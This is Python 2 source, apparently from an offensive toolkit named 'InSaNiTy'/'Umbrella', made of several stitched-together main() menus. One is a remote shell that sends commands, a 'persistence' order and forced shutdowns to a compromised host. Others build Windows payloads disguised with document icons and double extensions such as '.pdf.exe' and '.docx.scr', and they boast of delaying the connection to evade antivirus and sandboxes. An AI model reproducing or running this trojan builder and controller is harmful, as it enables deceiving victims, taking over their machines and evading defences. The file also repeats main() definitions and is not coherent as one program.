def main(): clear() disclaimer() raw_input('') clear() heading() try: while True: optionBanner() header = ('{0}InSaNiTy{1} > {2}'.format(RED, WHITE, END)) choice = raw_input(header) if choice.upper() == 'Q' or choice.upper() == 'QUIT': clear() pp() raise SystemExit elif choice.upper() == 'E' or choice.upper() == 'EXIT': clear() pp() raise SystemExit elif choice == '1': exec_com('dammed.py', sudo=True) sys.exit(0) elif choice == '2': exec_com('striker.py', sudo=True) raise SystemExit elif choice.upper == 'UPDATE': exec_com('updater.py', sudo=True) asker() elif choice.upper() == 'U': exec_com('updater.py', sudo=True) asker() elif choice == 'ifconfig': os.system(str(choice)) asker() elif choice == 'ls': os.system(str(choice)) asker() elif choice == 'back': main() else: clear() print 'Invalid Option' time.sleep(2) heading() optionBanner() asker() except KeyboardInterrupt: clear() pp() sys.exit(0)
def asker(): header = ('{0}InSaNiTy{1} > {2}'.format(RED, WHITE, END)) choice = raw_input(header) if choice.upper() == 'Q' or choice.upper() == 'QUIT': clear() pp() raise SystemExit elif choice.upper() == 'E' or choice.upper() == 'EXIT': clear() pp() raise SystemExit elif choice == '1': exec_com('dammed.py', sudo=True) raise SystemExit elif choice == '2': exec_com('striker.py', sudo=True) raise SystemExit elif choice.upper() == 'U': exec_com('updater.py', sudo=True) asker() elif choice.upper() == 'IFCONFIG': os.system(str(choice)) asker() elif choice.upper() == 'LS': os.system(str(choice)) asker() elif choice.upper() == 'BACK': main() elif choice.upper() == 'UPDATE': exec_com('updater.py', sudo=True) asker() else: clear() print 'Invalid Option' time.sleep(2) heading() optionBanner() asker()
def main(): try: while 1: # enter shell command header = ('{0}InSaNiTy{1} > {2}'.format(RED, WHITE, END)) command = raw_input(header) if command.upper() == 'QUIT': clear() pp() conn.close() elif command.upper() == 'HELP': help() elif command.upper() == 'INFO': mess() elif command.upper() == 'BACK': exec_com('insanity.py') elif command.upper() == 'PERSISTENCE': try: conn.send('persistence') print '[*] Pᴇʀsɪsᴛᴇɴᴄᴇ Mᴏᴅᴜʟᴇ Eɴᴀʙʟᴇᴅ' except: print '\n' print '{0}ʀᴇᴍᴏᴛᴇ ʜᴏsᴛ ʜᴀs ʙᴇᴇɴ ᴅɪsᴄᴏɴɴᴇᴄᴛᴇᴅ{1} '.format(RED, END) print '\n' + 'ᴛʏᴘᴇ {0}ʙᴀᴄᴋ{1} - {0}[{1}ʀᴇᴛᴜʀɴ ᴛᴏ ᴍᴀɪɴ ᴍᴇɴᴜ{0}]{1}'.format(BLUE, END) print 'ᴛʏᴘᴇ {0}ǫᴜɪᴛ{1} - {0}[{1}ᴛᴏᴏʟ ᴇxɪᴛ{0}]{1}'.format(BLUE, END) elif command.upper() == 'SHUTDOWN': try: conn.send('shutdown -s -t 00 -f') except: print '\n' print '{0}ʀᴇᴍᴏᴛᴇ ʜᴏsᴛ ʜᴀs ʙᴇᴇɴ ᴅɪsᴄᴏɴɴᴇᴄᴛᴇᴅ{1} '.format(RED, END) print '\n' + 'ᴛʏᴘᴇ {0}ʙᴀᴄᴋ{1} - {0}[{1}ʀᴇᴛᴜʀɴ ᴛᴏ ᴍᴀɪɴ ᴍᴇɴᴜ{0}]{1}'.format(BLUE, END) print 'ᴛʏᴘᴇ {0}ǫᴜɪᴛ{1} - {0}[{1}ᴛᴏᴏʟ ᴇxɪᴛ{0}]{1}'.format(BLUE, END) elif command.upper() == 'RESTART': try: conn.send('shutdown -r -t 00 -f') except: print '\n' print '{0}ʀᴇᴍᴏᴛᴇ ʜᴏsᴛ ʜᴀs ʙᴇᴇɴ ᴅɪsᴄᴏɴɴᴇᴄᴛᴇᴅ{1} '.format(RED, END) print '\n' + 'ᴛʏᴘᴇ {0}ʙᴀᴄᴋ{1} - {0}[{1}ʀᴇᴛᴜʀɴ ᴛᴏ ᴍᴀɪɴ ᴍᴇɴᴜ{0}]{1}'.format(BLUE, END) print 'ᴛʏᴘᴇ {0}ǫᴜɪᴛ{1} - {0}[{1}ᴛᴏᴏʟ ᴇxɪᴛ{0}]{1}'.format(BLUE, END) else: try: if command != '': data = '' conn.send(command) try: s.settimeout(5.0) conn.settimeout(5.0) data = conn.recv(4096) print data s.settimeout(None) conn.settimeout(None) except: print '[*] ᴄᴏᴍᴍᴀɴᴅ ᴇxᴇᴄᴜᴛᴇᴅ' except: print '\n' print '{0}ʀᴇᴍᴏᴛᴇ ʜᴏsᴛ ʜᴀs ʙᴇᴇɴ ᴅɪsᴄᴏɴɴᴇᴄᴛᴇᴅ{1} '.format(RED, END) print '\n' + 'ᴛʏᴘᴇ {0}ʙᴀᴄᴋ{1} - {0}[{1}ʀᴇᴛᴜʀɴ ᴛᴏ ᴍᴀɪɴ ᴍᴇɴᴜ{0}]{1}'.format(BLUE, END) print 'ᴛʏᴘᴇ {0}ǫᴜɪᴛ{1} - {0}[{1}ᴛᴏᴏʟ ᴇxɪᴛ{0}]{1}'.format(BLUE, END) except KeyboardInterrupt: clear() pp() conn.close()
def main(): if not os.geteuid() == 0: sys.exit('Umbrella must be run as root') clear() path = '.OK' if os.path.isdir(path): pass else: dep = raw_input('[!] Dependencies not found, Do you want to install it? (y/n) : ') if dep.upper() == 'Y': exec_com('checker.py', sudo=True) else: sys.exit(0) clear() disclaimer() heading() try: while True: header = ('\n{1} UMBRELLA {1} ~ {2}'.format(GREEN, WHITE, END)) choice = raw_input(header) if choice.upper() == 'Q' or choice.upper() == 'QUIT': clear() pp() raise SystemExit elif choice.upper() == 'E' or choice.upper() == 'EXIT': clear() pp() raise SystemExit elif choice.upper() == 'H': help() elif choice.upper() == 'D': gen() elif choice.upper() == 'U': exec_com('updater.py', sudo=True) elif choice == '1': begin() os.system('wine /root/.wine/drive_c/Python27/python.exe /root/.wine/drive_c/Python27/Scripts/pyinstaller-script.py --noconsole -m Manifest/manifest.manifest --version-file=Resource/pdf.umbrella -i Icons/pdf.ico -F D.py') os.system('rm -Rf build D.spec D.py') name = 'Umbrella_Pdf_.pdf.exe' os.rename('dist/D.exe', 'dist/' + name) clear() print '{0}[*] Done! Saved to: {1}'.format(GREEN, END) + 'dist/' + name quit = raw_input('Do You want quit or back to main?(Q/B)') if quit.upper() == 'Q': clear() pp() sys.exit(0) elif quit.upper() == 'B': main() elif choice == '2': begin() os.system('wine /root/.wine/drive_c/Python27/python.exe /root/.wine/drive_c/Python27/Scripts/pyinstaller-script.py --noconsole -m Manifest/manifest.manifest --version-file=Resource/word.umbrella -i Icons/word.ico -F D.py') os.system('rm -Rf build D.spec D.py') name = 'Umbrella_Word_.docx.exe' os.rename('dist/D.exe', 'dist/' + name) clear() print '{0}[*] Done! Saved to: {1}'.format(GREEN, END) + 'dist/' + name quit = raw_input('Do You want quit or back to main?(Q/B)') if quit.upper() == 'Q': clear() pp() sys.exit(0) elif quit.upper() == 'B': main() elif choice == '3': begin() os.system('wine /root/.wine/drive_c/Python27/python.exe /root/.wine/drive_c/Python27/Scripts/pyinstaller-script.py --noconsole -m Manifest/manifest.manifest --version-file=Resource/excel.umbrella -i Icons/excel.ico -F D.py') os.system('rm -Rf build D.spec D.py') name = 'Umbrella_Excel_.xlsx.exe' os.rename('dist/D.exe', 'dist/' + name) clear() print '{0}[*] Done! Saved to: {1}'.format(GREEN, END) + 'dist/' + name quit = raw_input('Do You want quit or back to main?(Q/B)') if quit.upper() == 'Q': clear() pp() sys.exit(0) elif quit.upper() == 'B': main() elif choice == '4': begin() os.system('wine /root/.wine/drive_c/Python27/python.exe /root/.wine/drive_c/Python27/Scripts/pyinstaller-script.py --noconsole -i Icons/img.ico -F D.py') os.system('rm -Rf build D.spec D.py') name = 'Umbrella_Img_.jpg.exe' os.rename('dist/D.exe', 'dist/' + name) clear() print '{0}[*] Done! Saved to: {1}'.format(GREEN, END) + 'dist/' + name quit = raw_input('Do You want quit or back to main?(Q/B)') if quit.upper() == 'Q': clear() pp() sys.exit(0) elif quit.upper() == 'B': main() elif choice.upper() == 'B': main() else: print '\n [!] Invalid Option \n' except KeyboardInterrupt: clear() pp() sys.exit(0)
def main(): clear() heading() try: while True: dt = str(time.strftime("%d/%m/%y")) + str(time.strftime("%H:%M:%S")) optionBanner() header = ('{0}InSaNiTy{1} > {2}'.format(RED, WHITE, END)) choice = raw_input(header) if choice.upper() == 'Q' or choice.upper() == 'QUIT': clear() pp() raise SystemExit if choice.upper() == 'E' or choice.upper() == 'EXIT': clear() pp() raise SystemExit if choice.upper() == 'D': begin() os.system('wine /root/.wine/drive_c/Python27/python.exe /root/.wine/drive_c/Python27/Scripts/pyinstaller-script.py --noconfirm --noconsole -m Manifest/manifest.manifest --version-file=Resource/adobe.insane -i Icons/flash.ico --hiddenimport socket -F new.py') os.system('rm -Rf build new.spec new.py') name = 'Insane_Flash_.exe' os.rename('dist/new.exe', 'dist/' + name) clear() heading() os.system('sudo rm -Rf Templates/insane_enc.py') print '{0}[*] Sᴀᴠᴇᴅ ᴛᴏ: {1}'.format(GREEN, END) + 'dist/' + name print '''\n *{0} Fᴏʀ ʀᴇᴀsᴏɴ ᴛᴏ ʙʏᴘᴀss ᴍᴏsᴛ AVs ᴀɴᴅ Sᴀɴᴅʙᴏxᴇs, ʏᴏᴜʀ ᴘᴀʏʟᴏᴀᴅ ᴄᴀɴ ʟɪᴛᴛʟᴇ ᴅᴇʟᴀʏ ᴛᴏ ᴄᴏɴɴᴇᴄᴛ{1} *'''.format(BLUE, END) listen = raw_input('Sᴛᴀʀᴛ Lɪsᴛᴇɴᴇʀ ? (ʏ/ɴ) : ') if listen.upper() == 'Y': exec_com('striker.py') sys.exit(0) else: sys.exit(0) if choice == '1': begin() os.system('wine /root/.wine/drive_c/Python27/python.exe /root/.wine/drive_c/Python27/Scripts/pyinstaller-script.py --noconsole -m Manifest/manifest.manifest --version-file=Resource/adobe.insane -i Icons/flash.ico -F new.py') os.system('rm -Rf build new.spec new.py') name = 'Insane_Flash_.exe' os.rename('dist/new.exe', 'dist/' + name) clear() heading() os.system('sudo rm -Rf Templates/insane_enc.py') print '{0}[*] Sᴀᴠᴇᴅ ᴛᴏ: {1}'.format(GREEN, END) + 'dist/' + name print '''\n *{0} Fᴏʀ ʀᴇᴀsᴏɴ ᴛᴏ ʙʏᴘᴀss ᴍᴏsᴛ AVs ᴀɴᴅ Sᴀɴᴅʙᴏxᴇs, ʏᴏᴜʀ ᴘᴀʏʟᴏᴀᴅ ᴄᴀɴ ʟɪᴛᴛʟᴇ ᴅᴇʟᴀʏ ᴛᴏ ᴄᴏɴɴᴇᴄᴛ{1} *'''.format(BLUE, END) listen = raw_input('Sᴛᴀʀᴛ Lɪsᴛᴇɴᴇʀ ? (ʏ/ɴ) : ') if listen.upper() == 'Y': exec_com('striker.py') sys.exit(0) else: sys.exit(0) elif choice == '2': begin() os.system('wine /root/.wine/drive_c/Python27/python.exe /root/.wine/drive_c/Python27/Scripts/pyinstaller-script.py --noconsole -m Manifest/manifest.manifest --version-file=Resource/word.insane -i Icons/word.ico -F new.py') os.system('rm -Rf build new.spec new.py') name = 'Insane_Word_.docx.scr' os.rename('dist/new.exe', 'dist/' + name) clear() heading() os.system('sudo rm -Rf Templates/insane_enc.py') print '{0}[*] Sᴀᴠᴇᴅ ᴛᴏ: {1}'.format(GREEN, END) + 'dist/' + name print '''\n *{0} Fᴏʀ ʀᴇᴀsᴏɴ ᴛᴏ ʙʏᴘᴀss ᴍᴏsᴛ AVs ᴀɴᴅ Sᴀɴᴅʙᴏxᴇs, ʏᴏᴜʀ ᴘᴀʏʟᴏᴀᴅ ᴄᴀɴ ʟɪᴛᴛʟᴇ ᴅᴇʟᴀʏ ᴛᴏ ᴄᴏɴɴᴇᴄᴛ{1} *'''.format(BLUE, END) listen = raw_input('Sᴛᴀʀᴛ Lɪsᴛᴇɴᴇʀ ? (ʏ/ɴ) : ') if listen.upper() == 'Y': exec_com('striker.py') sys.exit(0) else: sys.exit(0) elif choice == '3': begin() os.system('wine /root/.wine/drive_c/Python27/python.exe /root/.wine/drive_c/Python27/Scripts/pyinstaller-script.py --noconsole -m Manifest/manifest.manifest --version-file=Resource/excel.insane -i Icons/excel.ico -F new.py') os.system('rm -Rf build new.spec new.py') name = 'Insane_Excel_.xlsx.scr' os.rename('dist/new.exe', 'dist/' + name) clear() heading() os.system('sudo rm -Rf Templates/insane_enc.py') print '{0}[*] Sᴀᴠᴇᴅ ᴛᴏ: {1}'.format(GREEN, END) + 'dist/' + name print '''\n *{0} Fᴏʀ ʀᴇᴀsᴏɴ ᴛᴏ ʙʏᴘᴀss ᴍᴏsᴛ AVs ᴀɴᴅ Sᴀɴᴅʙᴏxᴇs, ʏᴏᴜʀ ᴘᴀʏʟᴏᴀᴅ ᴄᴀɴ ʟɪᴛᴛʟᴇ ᴅᴇʟᴀʏ ᴛᴏ ᴄᴏɴɴᴇᴄᴛ{1} *'''.format(BLUE, END) listen = raw_input('Sᴛᴀʀᴛ Lɪsᴛᴇɴᴇʀ ? (ʏ/ɴ) : ') if listen.upper() == 'Y': exec_com('striker.py') sys.exit(0) else: sys.exit(0) elif choice == '4': begin() os.system('wine /root/.wine/drive_c/Python27/python.exe /root/.wine/drive_c/Python27/Scripts/pyinstaller-script.py --noconsole -m Manifest/manifest.manifest --version-file=Resource/powerpoint.insane -i Icons/powerpoint.ico -F new.py') os.system('rm -Rf build new.spec new.py') name = 'Insane_Power_.pptx.scr' os.rename('dist/new.exe', 'dist/' + name) clear() heading() os.system('sudo rm -Rf Templates/insane_enc.py') print '{0}[*] Sᴀᴠᴇᴅ ᴛᴏ: {1}'.format(GREEN, END) + 'dist/' + name print '''\n *{0} Fᴏʀ ʀᴇᴀsᴏɴ ᴛᴏ ʙʏᴘᴀss ᴍᴏsᴛ AVs ᴀɴᴅ Sᴀɴᴅʙᴏxᴇs, ʏᴏᴜʀ ᴘᴀʏʟᴏᴀᴅ ᴄᴀɴ ʟɪᴛᴛʟᴇ ᴅᴇʟᴀʏ ᴛᴏ ᴄᴏɴɴᴇᴄᴛ{1} *'''.format(BLUE, END) listen = raw_input('Sᴛᴀʀᴛ Lɪsᴛᴇɴᴇʀ ? (ʏ/ɴ) : ') if listen.upper() == 'Y': exec_com('striker.py') sys.exit(0) else: sys.exit(0) elif choice == '5': begin() os.system('wine /root/.wine/drive_c/Python27/python.exe /root/.wine/drive_c/Python27/Scripts/pyinstaller-script.py --noconsole -m Manifest/manifest.manifest --version-file=Resource/acrobat.insane -i Icons/acrobat.ico -F new.py') os.system('rm -Rf build new.spec new.py') name = 'Insane_AcrobatPDF_.pdf.scr' os.rename('dist/new.exe', 'dist/' + name) clear() heading() os.system('sudo rm -Rf Templates/insane_enc.py') print '{0}[*] Sᴀᴠᴇᴅ ᴛᴏ: {1}'.format(GREEN, END) + 'dist/' + name print '''\n *{0} Fᴏʀ ʀᴇᴀsᴏɴ ᴛᴏ ʙʏᴘᴀss ᴍᴏsᴛ AVs ᴀɴᴅ Sᴀɴᴅʙᴏxᴇs, ʏᴏᴜʀ ᴘᴀʏʟᴏᴀᴅ ᴄᴀɴ ʟɪᴛᴛʟᴇ ᴅᴇʟᴀʏ ᴛᴏ ᴄᴏɴɴᴇᴄᴛ{1} *'''.format(BLUE, END) listen = raw_input('Sᴛᴀʀᴛ Lɪsᴛᴇɴᴇʀ ? (ʏ/ɴ) : ') if listen.upper() == 'Y': exec_com('striker.py') sys.exit(0) else: sys.exit(0) elif choice.upper() == 'H': help() elif choice.upper() == 'IFCONFIG': os.system(str(choice)) asker() elif choice.upper() == 'LS': os.system(str(choice)) asker() elif choice.upper() == 'L': option() asker() elif choice.upper() == 'BACK': exec_com('insanity.py') sys.exit(0) else: clear() print 'Iɴᴠᴀʟɪᴅ Oᴘᴛɪᴏɴ' time.sleep(2) main() except KeyboardInterrupt: clear() pp() sys.exit(0)